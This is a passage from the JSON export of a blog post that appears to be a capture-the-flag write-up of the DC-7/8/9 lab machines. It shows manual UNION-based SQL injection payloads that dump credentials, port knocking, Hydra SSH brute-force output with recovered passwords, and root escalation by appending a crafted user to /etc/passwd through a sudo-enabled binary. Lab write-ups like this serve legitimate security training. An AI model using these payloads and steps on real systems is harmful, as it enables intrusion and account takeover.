1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='users'-- '\nID: 1\nName: 2 3\nPosition: 4\nPhone No: 5\nEmail: UserDetails\n\n' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.columns WHERE table_name='UserDetails' -- '\nID: 1\nName: 2 3\nPosition: 4\nPhone No: 5\nEmail: id\n\netc.\n\n'UNION SELECT 1,username,password,3,4,5 FROM users.UserDetails -- '\nID: 1\nName: marym 3kfs86sfd\nPosition: 3\nPhone No: 4\nEmail: 5\n\netc.<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">SSH Access<\/h2>\n\n\n\n<p>Now that I had login credentials, I needed a way to access SSH \u2014 which wasn\u2019t open by default. Earlier in the write-up, I learned about <strong>port knocking<\/strong>, and used the following sequence to open port 22:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-c2e851085107062997cbb5272ddaa3f1\"><code>knock 10.0.2.27 7469 8475 9842<\/code><\/pre>\n\n\n\n<p>After that, I used Hydra to test the credentials from the dumped DB:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-ccad9292bd37724c2189320f32a28e7c\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-9]\n\u2514\u2500$ hydra -C users.txt ssh:\/\/10.0.2.27\nHydra v9.5 (c) 2023 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-07-18 04:27:23\n&#91;WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n&#91;DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries, ~2 tries per task\n&#91;DATA] attacking ssh:\/\/10.0.2.27:22\/\n&#91;22]&#91;ssh] host: 10.0.2.27   login: joeyt   password: Passw0rd\n&#91;22]&#91;ssh] host: 10.0.2.27   login: janitor   password: Ilovepeepee\n&#91;22]&#91;ssh] host: 10.0.2.27   login: chandlerb   password: UrAG0D!\n1 of 1 target successfully completed, 3 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-07-18 04:27:27<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Privilege escalation<\/h2>\n\n\n\n<p>After logging in as each user, I checked the usual stuff:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>sudo -l<\/code><\/li>\n\n\n\n<li>any sensitive files<\/li>\n\n\n\n<li>scheduled jobs<\/li>\n\n\n\n<li>SUID\/SGID binaries<\/li>\n<\/ul>\n\n\n\n<p>Nothing interesting&#8230; <strong>until <code>janitor<\/code><\/strong>. In their home folder, I found a curious-looking file:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"679\" height=\"113\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-59.png\" alt=\"\" class=\"wp-image-343\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-59.png 679w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-59-300x50.png 300w\" sizes=\"auto, (max-width: 679px) 100vw, 679px\" \/><\/figure>\n\n\n\n<p>Looks like another list of credentials. I added them to a new password list and reran Hydra:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"195\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60-1024x195.png\" alt=\"\" class=\"wp-image-344\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60-1024x195.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60-300x57.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60-768x146.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60.png 1115w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Boom \u2014 valid login for <code>fredf<\/code>. Once logged in as <code>fredf<\/code>, I ran <code>sudo -l<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-36ecab31e8b74bb5066a5e4b5ee4c94f\"><code>fredf@dc-9:~$ sudo -l\nMatching Defaults entries for fredf on dc-9:\n    env_reset, mail_badpass, secure_path=...\n\nUser fredf may run the following commands on dc-9:\n    (root) NOPASSWD: \/opt\/devstuff\/dist\/test\/test<\/code><\/pre>\n\n\n\n<p>This binary (<code>test<\/code>) required two arguments: <code>read<\/code> and <code>append<\/code>. After testing it, I figured out that it <strong>reads one file and appends it to another<\/strong>. So I decided to append a custom root user to <code>\/etc\/passwd<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-985cd24f69b7362add1b13aa87eba8bd\"><code># Generate a hashed password\nopenssl passwd -6 -salt batman batman\n# Output: $6$batman$a0jqoQ0zQsYQUdTCDwaZiczcjP0gO6JUey6NH\/NWNFQoLXyReJmG3UxBcoqBQwF1DhTX8rI0HjYDRwbkjEndJ1\n\n# Create a fake passwd line\necho 'batman:$6$batman$a0jqoQ0zQsYQUdTCDwaZiczcjP0gO6JUey6NH\/NWNFQoLXyReJmG3UxBcoqBQwF1DhTX8rI0HjYDRwbkjEndJ1:0:0::\/root:\/bin\/bash' > \/tmp\/batman\n\n# Append it to \/etc\/passwd\nsudo \/opt\/devstuff\/dist\/test\/test \/tmp\/batman \/etc\/passwd\n\n# Switch user\nsu batman<\/code><\/pre>\n\n\n\n<p>And just like that\u2026 \ud83e\udd87<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"658\" height=\"452\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-61.png\" alt=\"\" class=\"wp-image-345\" style=\"width:592px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-61.png 658w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-61-300x206.png 300w\" sizes=\"auto, (max-width: 658px) 100vw, 658px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Lessons Learned<\/h2>\n\n\n\n<p>These three boxes were packed with useful challenges \u2014 not necessarily the hardest technically, but incredibly valuable in building confidence with <strong>realistic enumeration<\/strong>, <strong>privilege escalation<\/strong>, and <strong>manual exploitation<\/strong>. Here are some key takeaways I\u2019ll carry forward:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeration Is Everything<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Every machine started with hints hiding in plain sight: hidden directories, services behind knock sequences, or local scripts writable by <code>www-data<\/code>.<\/li>\n\n\n\n<li>Recursive dirbusting and checking HTTP responses manually still pays off.<\/li>\n\n\n\n<li>I kept reminding myself: <strong>Don\u2019t jump to exploitation too fast. Fully map the surface first.<\/strong><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Manual SQLi Matters<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>I avoided sqlmap on purpose \u2014 forcing myself to manually enumerate columns, databases, tables, and users via SQL injection made me <em>actually understand<\/em> what\u2019s happening under the hood.<\/li>\n\n\n\n<li>OSCP doesn\u2019t allow automation tools like sqlmap anyway, so this kind of practice is golden.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Time for My Own Pentest Checklist<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sometimes I still miss basic stuff because I get tunnel vision or excited about a new lead.<\/li>\n\n\n\n<li>That\u2019s why I\u2019m planning to create a <strong>personal checklist for each stage of a pentest<\/strong>: initial enumeration, content discovery, privilege escalation, and reporting.<\/li>\n\n\n\n<li>Not only will it help me stay structured during live tests (especially under pressure), but it\u2019ll also make my workflow more repeatable and easier to improve over time.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Creative PrivEsc<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>DC-7 used a writable backup script to trigger a reverse shell.<\/li>\n\n\n\n<li>DC-8 required understanding a cron-based script injection path.<\/li>\n\n\n\n<li>DC-9 used a custom sudo-enabled binary to write to <code>\/etc\/passwd<\/code>. That forced me to think like a dev and break the intended use of a tool.<\/li>\n<\/ul>\n\n\n\n<p>Each one was a mini puzzle with a different flavor \u2014 and I\u2019m definitely building a mental library of escalation tricks from this.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Final Thoughts<\/h2>\n\n\n\n<p>This trio (DC-7, 8, and 9) helped cement a mindset I want to carry into real-world pentests:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Be patient and methodical.<\/li>\n\n\n\n<li>Use automation only when needed \u2014 understand what it does first.<\/li>\n\n\n\n<li>Focus on misconfigurations and logic flaws, not just exploits.<\/li>\n\n\n\n<li><strong>Standardize your workflow<\/strong> to reduce mistakes and build consistency.<\/li>\n<\/ul>\n\n\n\n<p>I feel a lot more confident stepping into my first <strong>internal pentest project at work<\/strong> soon \u2014 and this series was the perfect warm-up. Let\u2019s go.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>These are the last machines in the DC series \u2014 and definitely the toughest ones. Each pushed me harder than the earlier boxes and forced me to level up in enumeration, shell access, and privilege escalation. But they also gave me a big confidence boost: these challenges are starting to feel more natural. DC-7 Enumeration [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8],"tags":[29,33,30,34],"class_list":["post-321","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-hydra","tag-linux","tag-nmap","tag-sqli"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=321"}],"version-history":[{"count":7,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/321\/revisions"}],"predecessor-version":[{"id":332,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/321\/revisions\/332"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}